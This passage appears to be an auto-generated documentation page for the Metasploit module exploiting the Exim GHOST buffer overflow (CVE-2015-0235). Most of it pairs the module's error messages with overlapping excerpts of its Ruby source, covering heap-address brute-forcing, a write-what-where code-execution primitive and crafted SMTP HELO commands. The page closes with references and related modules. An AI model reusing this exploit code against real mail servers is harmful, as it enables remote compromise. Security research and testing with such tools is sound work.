428: survived = heap_addr
429: else
430: if ((survived ? survived : max_heap_addr) - heap_addr) >= MIN_HEAP_SIZE
431: # survived should point to our safe-zone at the beginning of the heap
432: fail_with(Failure::UnexpectedReply, "never survived") if not survived
never survived
Here is a relevant code snippet related to the "never survived" error message:
427: fail_with(Failure::BadConfig, "no min_heap_addr") if (max_heap_addr - heap_addr) >= MAX_HEAP_SIZE
428: survived = heap_addr
429: else
430: if ((survived ? survived : max_heap_addr) - heap_addr) >= MIN_HEAP_SIZE
431: # survived should point to our safe-zone at the beginning of the heap
432: fail_with(Failure::UnexpectedReply, "never survived") if not survived
433: print_good "Brute-forced min_heap_addr: #{survived.to_s(16)}"
434: min_heap_addr = survived
435: end
436: end
437: end
Brute-force FAILURE
Here is a relevant code snippet related to the "Brute-force FAILURE" error message:
448: helo_len /= 2
449: break if helo_len < 1024
450: # ^ otherwise the 3 copies of sender_helo_name will
451: # fit into the current_block of POOL_PERM memory
452: end
453: fail_with(Failure::UnexpectedReply, "Brute-force FAILURE")
454: end
455:
456: # our write-what-where primitive
457: def try_code_execution(len, what, where)
458: fail_with(Failure::UnexpectedReply, "#{what.length} >= #{len}") if what.length >= len
<WHAT.LENGTH> >= <LEN>
Here is a relevant code snippet related to the "<WHAT.LENGTH> >= <LEN>" error message:
453: fail_with(Failure::UnexpectedReply, "Brute-force FAILURE")
454: end
455:
456: # our write-what-where primitive
457: def try_code_execution(len, what, where)
458: fail_with(Failure::UnexpectedReply, "#{what.length} >= #{len}") if what.length >= len
459: fail_with(Failure::UnexpectedReply, "#{where} < 0") if where < 0
460:
461: x86 = (@leaked[:arch] == ARCH_X86)
462: min_heap_shift = (x86 ? 512 : 768) # at least request2size(sizeof(FILE))
463: heap_shift = min_heap_shift + rand(1024 - min_heap_shift)
<WHERE> < 0
Here is a relevant code snippet related to the "<WHERE> < 0" error message:
454: end
455:
456: # our write-what-where primitive
457: def try_code_execution(len, what, where)
458: fail_with(Failure::UnexpectedReply, "#{what.length} >= #{len}") if what.length >= len
459: fail_with(Failure::UnexpectedReply, "#{where} < 0") if where < 0
460:
461: x86 = (@leaked[:arch] == ARCH_X86)
462: min_heap_shift = (x86 ? 512 : 768) # at least request2size(sizeof(FILE))
463: heap_shift = min_heap_shift + rand(1024 - min_heap_shift)
464: last_digit = 1 + rand(9)
sock isn't nil
Here is a relevant code snippet related to the "sock isn't nil" error message:
540:
541: DIGITS = '([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])'
542: DOT = '[.]'
543:
544: def smtp_connect(exploiting = true)
545: fail_with(Failure::Unknown, "sock isn't nil") if sock
546:
547: connect
548: fail_with(Failure::Unknown, "sock is nil") if not sock
549: @smtp_state = :recv
550:
sock is nil
Here is a relevant code snippet related to the "sock is nil" error message:
543:
544: def smtp_connect(exploiting = true)
545: fail_with(Failure::Unknown, "sock isn't nil") if sock
546:
547: connect
548: fail_with(Failure::Unknown, "sock is nil") if not sock
549: @smtp_state = :recv
550:
551: # Receiving the banner (but we don't really need to check it)
552: smtp_recv(220)
553: return if not exploiting
bad SENDER_HOST_ADDRESS (nil)
Here is a relevant code snippet related to the "bad SENDER_HOST_ADDRESS (nil)" error message:
552: smtp_recv(220)
553: return if not exploiting
554:
555: sender_host_address = datastore['SENDER_HOST_ADDRESS']
556: if sender_host_address !~ /\A#{DIGITS}#{DOT}#{DIGITS}#{DOT}#{DIGITS}#{DOT}#{DIGITS}\z/
557: fail_with(Failure::BadConfig, "bad SENDER_HOST_ADDRESS (nil)") if sender_host_address.nil?
558: fail_with(Failure::BadConfig, "bad SENDER_HOST_ADDRESS (not in IPv4 dotted-decimal notation)")
559: end
560: sender_host_address_octal = "0" + $1.to_i.to_s(8) + ".#{$2}.#{$3}.#{$4}"
561:
562: # turn helo_seen on (enable the MAIL command)
bad SENDER_HOST_ADDRESS (not in IPv4 dotted-decimal notation)
Here is a relevant code snippet related to the "bad SENDER_HOST_ADDRESS (not in IPv4 dotted-decimal notation)" error message:
553: return if not exploiting
554:
555: sender_host_address = datastore['SENDER_HOST_ADDRESS']
556: if sender_host_address !~ /\A#{DIGITS}#{DOT}#{DIGITS}#{DOT}#{DIGITS}#{DOT}#{DIGITS}\z/
557: fail_with(Failure::BadConfig, "bad SENDER_HOST_ADDRESS (nil)") if sender_host_address.nil?
558: fail_with(Failure::BadConfig, "bad SENDER_HOST_ADDRESS (not in IPv4 dotted-decimal notation)")
559: end
560: sender_host_address_octal = "0" + $1.to_i.to_s(8) + ".#{$2}.#{$3}.#{$4}"
561:
562: # turn helo_seen on (enable the MAIL command)
563: # call smtp_verify_helo() (force fopen() and small malloc()s)
not Exim?
Here is a relevant code snippet related to the "not Exim?" error message:
564: # call host_find_byname() (force gethostbyname's initial 1024-byte malloc())
565: smtp_send("HELO #{sender_host_address_octal}")
566: reply = smtp_recv(HELO_CODES)
567:
568: if reply[:code] != "250"
569: fail_with(Failure::NoTarget, "not Exim?") if reply[:lines].first !~ /argument does not match calling host/
570: fail_with(Failure::BadConfig, "bad SENDER_HOST_ADDRESS (helo_verify_hosts)")
571: end
572:
573: if reply[:lines].first =~ /\A250 (\S*) Hello (.*) \[(\S*)\]\r\n\z/mn
574: fail_with(Failure::BadConfig, "bad SENDER_HOST_ADDRESS (helo_try_verify_hosts)") if sender_host_address != $3
bad SENDER_HOST_ADDRESS (helo_verify_hosts)
Here is a relevant code snippet related to the "bad SENDER_HOST_ADDRESS (helo_verify_hosts)" error message:
565: smtp_send("HELO #{sender_host_address_octal}")
566: reply = smtp_recv(HELO_CODES)
567:
568: if reply[:code] != "250"
569: fail_with(Failure::NoTarget, "not Exim?") if reply[:lines].first !~ /argument does not match calling host/
570: fail_with(Failure::BadConfig, "bad SENDER_HOST_ADDRESS (helo_verify_hosts)")
571: end
572:
573: if reply[:lines].first =~ /\A250 (\S*) Hello (.*) \[(\S*)\]\r\n\z/mn
574: fail_with(Failure::BadConfig, "bad SENDER_HOST_ADDRESS (helo_try_verify_hosts)") if sender_host_address != $3
575: smtp_active_hostname = $1
bad SENDER_HOST_ADDRESS (helo_try_verify_hosts)
Here is a relevant code snippet related to the "bad SENDER_HOST_ADDRESS (helo_try_verify_hosts)" error message:
569: fail_with(Failure::NoTarget, "not Exim?") if reply[:lines].first !~ /argument does not match calling host/
570: fail_with(Failure::BadConfig, "bad SENDER_HOST_ADDRESS (helo_verify_hosts)")
571: end
572:
573: if reply[:lines].first =~ /\A250 (\S*) Hello (.*) \[(\S*)\]\r\n\z/mn
574: fail_with(Failure::BadConfig, "bad SENDER_HOST_ADDRESS (helo_try_verify_hosts)") if sender_host_address != $3
575: smtp_active_hostname = $1
576: sender_host_name = $2
577:
578: if sender_host_name =~ /\A(.*) at (\S*)\z/mn
579: sender_host_name = $2
bad SENDER_HOST_ADDRESS (no FCrDNS)
Here is a relevant code snippet related to the "bad SENDER_HOST_ADDRESS (no FCrDNS)" error message:
579: sender_host_name = $2
580: sender_ident = $1
581: else
582: sender_ident = nil
583: end
584: fail_with(Failure::BadConfig, "bad SENDER_HOST_ADDRESS (no FCrDNS)") if sender_host_name == sender_host_address_octal
585:
586: else
587: # can't double-check sender_host_address here, so only for advanced users
588: fail_with(Failure::BadConfig, "user-supplied EHLO greeting") unless datastore['FORCE_EXPLOIT']
589: # worst-case scenario
user-supplied EHLO greeting
Here is a relevant code snippet related to the "user-supplied EHLO greeting" error message:
583: end
584: fail_with(Failure::BadConfig, "bad SENDER_HOST_ADDRESS (no FCrDNS)") if sender_host_name == sender_host_address_octal
585:
586: else
587: # can't double-check sender_host_address here, so only for advanced users
588: fail_with(Failure::BadConfig, "user-supplied EHLO greeting") unless datastore['FORCE_EXPLOIT']
589: # worst-case scenario
590: smtp_active_hostname = "A" * NS_MAXDNAME
591: sender_host_name = "A" * NS_MAXDNAME
592: sender_ident = "A" * 127 * 4 # sender_ident = string_printing(string_copyn(p, 127));
593: end
sender changed
Here is a relevant code snippet related to the "sender changed" error message:
598: hostaddr8: sender_host_address_octal,
599: hostname: sender_host_name,
600: ident: sender_ident,
601: __smtp_active_hostname: smtp_active_hostname
602: }
603: fail_with(Failure::BadConfig, "sender changed") if _sender and _sender != @sender
604:
605: # avoid a future pathological case by forcing it now:
606: # "Do NOT free the first successor, if our current block has less than 256 bytes left."
607: smtp_send("MAIL FROM:", "<", method(:rand_text_alpha), ">", "", STOREPOOL_MIN_SIZE + 16)
608: smtp_recv(501, 'sender address must contain a domain')
state is <SMTP_STATE>
Here is a relevant code snippet related to the "state is <SMTP_STATE>" error message:
610: smtp_send("RSET")
611: smtp_recv(250, 'Reset OK')
612: end
613:
614: def smtp_send(prefix, arg_prefix = nil, arg_pattern = nil, arg_suffix = nil, suffix = nil, arg_length = nil)
615: fail_with(Failure::BadConfig, "state is #{@smtp_state}") if @smtp_state != :send
616: @smtp_state = :sending
617:
618: if not arg_pattern
619: fail_with(Failure::BadConfig, "prefix is nil") if not prefix
620: fail_with(Failure::BadConfig, "param isn't nil") if arg_prefix or arg_suffix or suffix or arg_length
prefix is nil
Here is a relevant code snippet related to the "prefix is nil" error message:
614: def smtp_send(prefix, arg_prefix = nil, arg_pattern = nil, arg_suffix = nil, suffix = nil, arg_length = nil)
615: fail_with(Failure::BadConfig, "state is #{@smtp_state}") if @smtp_state != :send
616: @smtp_state = :sending
617:
618: if not arg_pattern
619: fail_with(Failure::BadConfig, "prefix is nil") if not prefix
620: fail_with(Failure::BadConfig, "param isn't nil") if arg_prefix or arg_suffix or suffix or arg_length
621: command = prefix
622:
623: else
624: fail_with(Failure::BadConfig, "param is nil") unless prefix and arg_prefix and arg_suffix and suffix and arg_length
param isn't nil
Here is a relevant code snippet related to the "param isn't nil" error message:
615: fail_with(Failure::BadConfig, "state is #{@smtp_state}") if @smtp_state != :send
616: @smtp_state = :sending
617:
618: if not arg_pattern
619: fail_with(Failure::BadConfig, "prefix is nil") if not prefix
620: fail_with(Failure::BadConfig, "param isn't nil") if arg_prefix or arg_suffix or suffix or arg_length
621: command = prefix
622:
623: else
624: fail_with(Failure::BadConfig, "param is nil") unless prefix and arg_prefix and arg_suffix and suffix and arg_length
625: length = arg_length - arg_prefix.length - arg_suffix.length
param is nil
Here is a relevant code snippet related to the "param is nil" error message:
619: fail_with(Failure::BadConfig, "prefix is nil") if not prefix
620: fail_with(Failure::BadConfig, "param isn't nil") if arg_prefix or arg_suffix or suffix or arg_length
621: command = prefix
622:
623: else
624: fail_with(Failure::BadConfig, "param is nil") unless prefix and arg_prefix and arg_suffix and suffix and arg_length
625: length = arg_length - arg_prefix.length - arg_suffix.length
626: fail_with(Failure::BadConfig, "smtp_send", "len is #{length}") if length <= 0
627: argument = arg_prefix
628: case arg_pattern
629: when String
len is <LENGTH>
Here is a relevant code snippet related to the "len is <LENGTH>" error message:
621: command = prefix
622:
623: else
624: fail_with(Failure::BadConfig, "param is nil") unless prefix and arg_prefix and arg_suffix and suffix and arg_length
625: length = arg_length - arg_prefix.length - arg_suffix.length
626: fail_with(Failure::BadConfig, "smtp_send", "len is #{length}") if length <= 0
627: argument = arg_prefix
628: case arg_pattern
629: when String
630: argument += arg_pattern * (length / arg_pattern.length)
631: argument += arg_pattern[0, length % arg_pattern.length]
arglen is <ARGUMENT.LENGTH>, not <ARG_LENGTH>
Here is a relevant code snippet related to the "arglen is <ARGUMENT.LENGTH>, not <ARG_LENGTH>" error message:
631: argument += arg_pattern[0, length % arg_pattern.length]
632: when Method
633: argument += arg_pattern.call(length)
634: end
635: argument += arg_suffix
636: fail_with(Failure::BadConfig, "arglen is #{argument.length}, not #{arg_length}") if argument.length != arg_length
637: command = prefix + argument + suffix
638: end
639:
640: fail_with(Failure::BadConfig, "invalid char in cmd") if command.count("^\x20-\x7F") > 0
641: fail_with(Failure::BadConfig, "cmdlen is #{command.length}") if command.length > SMTP_CMD_BUFFER_SIZE
invalid char in cmd
Here is a relevant code snippet related to the "invalid char in cmd" error message:
635: argument += arg_suffix
636: fail_with(Failure::BadConfig, "arglen is #{argument.length}, not #{arg_length}") if argument.length != arg_length
637: command = prefix + argument + suffix
638: end
639:
640: fail_with(Failure::BadConfig, "invalid char in cmd") if command.count("^\x20-\x7F") > 0
641: fail_with(Failure::BadConfig, "cmdlen is #{command.length}") if command.length > SMTP_CMD_BUFFER_SIZE
642: command += "\n" # RFC says CRLF, but squeeze as many chars as possible in smtp_cmd_buffer
643:
644: # the following loop works around a bug in the put() method:
645: # "while (send_idx < send_len)" should be "while (send_idx < buf.length)"
cmdlen is <COMMAND.LENGTH>
Here is a relevant code snippet related to the "cmdlen is <COMMAND.LENGTH>" error message:
636: fail_with(Failure::BadConfig, "arglen is #{argument.length}, not #{arg_length}") if argument.length != arg_length
637: command = prefix + argument + suffix
638: end
639:
640: fail_with(Failure::BadConfig, "invalid char in cmd") if command.count("^\x20-\x7F") > 0
641: fail_with(Failure::BadConfig, "cmdlen is #{command.length}") if command.length > SMTP_CMD_BUFFER_SIZE
642: command += "\n" # RFC says CRLF, but squeeze as many chars as possible in smtp_cmd_buffer
643:
644: # the following loop works around a bug in the put() method:
645: # "while (send_idx < send_len)" should be "while (send_idx < buf.length)"
646: # (or send_idx and/or send_len could be removed altogether, like here)
sent is <NUM_SENT>
Here is a relevant code snippet related to the "sent is <NUM_SENT>" error message:
645: # "while (send_idx < send_len)" should be "while (send_idx < buf.length)"
646: # (or send_idx and/or send_len could be removed altogether, like here)
647:
648: while command and not command.empty?
649: num_sent = sock.put(command)
650: fail_with(Failure::BadConfig, "sent is #{num_sent}") if num_sent <= 0
651: fail_with(Failure::BadConfig, "sent is #{num_sent}, greater than #{command.length}") if num_sent > command.length
652: command = command[num_sent..-1]
653: end
654:
655: @smtp_state = :recv
sent is <NUM_SENT>, greater than <COMMAND.LENGTH>
Here is a relevant code snippet related to the "sent is <NUM_SENT>, greater than <COMMAND.LENGTH>" error message:
646: # (or send_idx and/or send_len could be removed altogether, like here)
647:
648: while command and not command.empty?
649: num_sent = sock.put(command)
650: fail_with(Failure::BadConfig, "sent is #{num_sent}") if num_sent <= 0
651: fail_with(Failure::BadConfig, "sent is #{num_sent}, greater than #{command.length}") if num_sent > command.length
652: command = command[num_sent..-1]
653: end
654:
655: @smtp_state = :recv
656: end
state is <SMTP_STATE>
Here is a relevant code snippet related to the "state is <SMTP_STATE>" error message:
654:
655: @smtp_state = :recv
656: end
657:
658: def smtp_recv(expected_code = nil, expected_data = nil)
659: fail_with(Failure::BadConfig, "state is #{@smtp_state}") if @smtp_state != :recv
660: @smtp_state = :recving
661:
662: failure = catch(:failure) do
663:
664: # parse SMTP replies very carefully (the information
sock isn't nil
Here is a relevant code snippet related to the "sock isn't nil" error message:
714:
715: fail_with(Failure::UnexpectedReply, "#{failure}") if expected_code
716: return nil
717: end
718:
719: def smtp_disconnect
720: disconnect if sock
721: fail_with(Failure::Unknown, "sock isn't nil") if sock
722: @smtp_state = :disconnected
723: end
724: end
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #12696 Merged Pull Request: add missing aka to some modules
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #7507 Merged Pull Request: Refactor arch/platform, refactor TLV XOR, add UUID to each packet, fix payload uuid/arch/platform tracking, and update everything to match
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #6526 Merged Pull Request: Peers for the peer god
- #5218 Merged Pull Request: Fix #3816 by deleting print_debug
- #5173 Merged Pull Request: fix fail_with errors
- #5068 Merged Pull Request: Clean up authors
- #4996 Merged Pull Request: Grammaring harder
- #4956 Merged Pull Request: Add CVE-2015-0235: Exim GHOST (glibc gethostbyname) Buffer Overflow
References
- CVE-2015-0235
- VU#967332
- OSVDB (117579)
- BID-72325
- https://www.qualys.com/research/security-advisories/GHOST-CVE-2015-0235.txt
- https://community.qualys.com/blogs/laws-of-vulnerabilities/2015/01/27/the-ghost-vulnerability
- http://r-7.co/1CAnMc0
See Also
Check also the following modules related to this module:
- auxiliary/scanner/http/wordpress_ghost_scanner
- exploit/linux/smtp/apache_james_exec
- exploit/linux/smtp/exim4_dovecot_exec
- exploit/linux/smtp/haraka
- exploit/unix/local/exim_perl_startup
- exploit/linux/local/exim4_deliver_message_priv_esc
- exploit/unix/smtp/exim4_string_format
- exploit/unix/smtp/clamav_milter_blackhole
- exploit/unix/smtp/morris_sendmail_debug
- exploit/unix/smtp/opensmtpd_mail_from_rce
- exploit/unix/smtp/qmail_bash_env_exec
- exploit/windows/smtp/mailcarrier_smtp_ehlo
- exploit/windows/smtp/mercury_cram_md5
- exploit/windows/smtp/ms03_046_exchange2000_xexch50
- exploit/windows/smtp/njstar_smtp_bof
- exploit/windows/smtp/sysgauge_client_bof
- exploit/windows/smtp/wmailserver
- exploit/windows/smtp/ypops_overflow1
- auxiliary/client/smtp/emailer
- auxiliary/dos/smtp/sendmail_prescan
- auxiliary/dos/windows/smtp/ms06_019_exchange
- auxiliary/fuzzers/smtp/smtp_fuzzer
- auxiliary/scanner/smtp/smtp_enum
- auxiliary/scanner/smtp/smtp_ntlm_domain
- auxiliary/scanner/smtp/smtp_relay
- auxiliary/scanner/smtp/smtp_version
- auxiliary/scanner/http/wp_easy_wp_smtp
- auxiliary/server/capture/smtp
- exploit/unix/local/opensmtpd_oob_read_lpe
Related Nessus plugins:
- Amazon Linux AMI : glibc (ALAS-2015-473)
- CentOS 5 : glibc (CESA-2015:0090) (GHOST)
- CentOS 6 / 7 : glibc (CESA-2015:0092) (GHOST)
- Debian DSA-3142-1 : eglibc - security update
- Oracle Linux 6 / 7 : glibc (ELSA-2015-0092) (GHOST)
- RHEL 5 : glibc (RHSA-2015:0090) (GHOST)
- RHEL 6 / 7 : glibc (RHSA-2015:0092) (GHOST)
- Scientific Linux Security Update : glibc on SL5.x i386/x86_64 (20150127) (GHOST)
- Scientific Linux Security Update : glibc on SL6.x, SL7.x i386/x86_64 (20150127) (GHOST)
- SuSE 11 Security Update : glibc (SAT Patch Numbers 10202,10204,10206)
Authors
- Unknown
Version
This page has been produced using Metasploit Framework version 6.1.29-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.